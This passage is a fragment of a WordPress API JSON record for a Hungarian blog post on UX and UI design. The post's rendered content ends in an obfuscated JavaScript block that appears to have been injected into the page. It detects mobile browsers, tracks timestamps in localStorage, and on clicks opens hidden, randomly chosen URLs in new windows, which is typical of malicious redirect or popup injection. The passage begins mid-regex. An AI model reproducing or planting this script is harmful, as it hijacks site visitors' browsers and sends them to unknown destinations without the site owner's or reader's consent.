|\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e80x3c0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)\/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e80x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)\/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());<\/script>","protected":false},"excerpt":{"rendered":"<p>M\u00e1r \u00e9vek \u00f3ta vel\u00fcnk \u00e9l a\u00a0user experience design kifejez\u00e9s, b\u00e1r sokkal ink\u00e1bb a r\u00f6vid\u00edt\u00e9s\u00e9vel tal\u00e1lkozunk, a UX designnal.\u00a0Elmondjuk, mir\u0151l is van sz\u00f3, mi a UX \u00e9s a UI jelent\u00e9se, mi a k\u00fcl\u00f6nbs\u00e9g k\u00f6z\u00f6tt\u00fck, \u00e9s bemutatjuk, hogyan \u00e9rdemes nekifutni a felhaszn\u00e1l\u00f3i \u00e9lm\u00e9ny tervez\u00e9s\u00e9nek. (Friss\u00edt\u00e9s, 2022.09.05. – Egy \u00faj fejezettel b\u0151v\u00edtett\u00fcnk: Hogyan m\u0171k\u00f6dik a rendszerhaszn\u00e1lhat\u00f3s\u00e1gi sk\u00e1la?)<\/p>\n","protected":false},"author":12,"featured_media":6934,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[23],"tags":[195,162,161],"acf":[],"_links":{"self":[{"href":"http:\/\/blog.webshark.hu\/wp-json\/wp\/v2\/posts\/1160"}],"collection":[{"href":"http:\/\/blog.webshark.hu\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/blog.webshark.hu\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/blog.webshark.hu\/wp-json\/wp\/v2\/users\/12"}],"replies":[{"embeddable":true,"href":"http:\/\/blog.webshark.hu\/wp-json\/wp\/v2\/comments?post=1160"}],"version-history":[{"count":86,"href":"http:\/\/blog.webshark.hu\/wp-json\/wp\/v2\/posts\/1160\/revisions"}],"predecessor-version":[{"id":10253,"href":"http:\/\/blog.webshark.hu\/wp-json\/wp\/v2\/posts\/1160\/revisions\/10253"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/blog.webshark.hu\/wp-json\/wp\/v2\/media\/6934"}],"wp:attachment":[{"href":"http:\/\/blog.webshark.hu\/wp-json\/wp\/v2\/media?parent=1160"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/blog.webshark.hu\/wp-json\/wp\/v2\/categories?post=1160"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/blog.webshark.hu\/wp-json\/wp\/v2\/tags?post=1160"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}